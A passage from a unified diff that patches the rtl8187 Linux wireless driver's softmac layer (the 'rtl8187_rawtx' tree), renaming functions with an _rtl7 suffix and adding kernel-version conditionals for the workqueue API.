== 0xFFF) @@ -1738,19 +1767,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1790,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1887,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1918,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - - ieee->rate = 540; + +// ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; - ieee->rate = 110; +// ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1963,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1973,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2025,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); + + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2149,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2181,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2258,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2279,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2291,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2315,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2348,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2399,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2416,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2455,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2469,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2490,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2573,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2585,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2600,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2629,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2645,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c 2007-07-13 01:46:05.000000000 +0200 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if 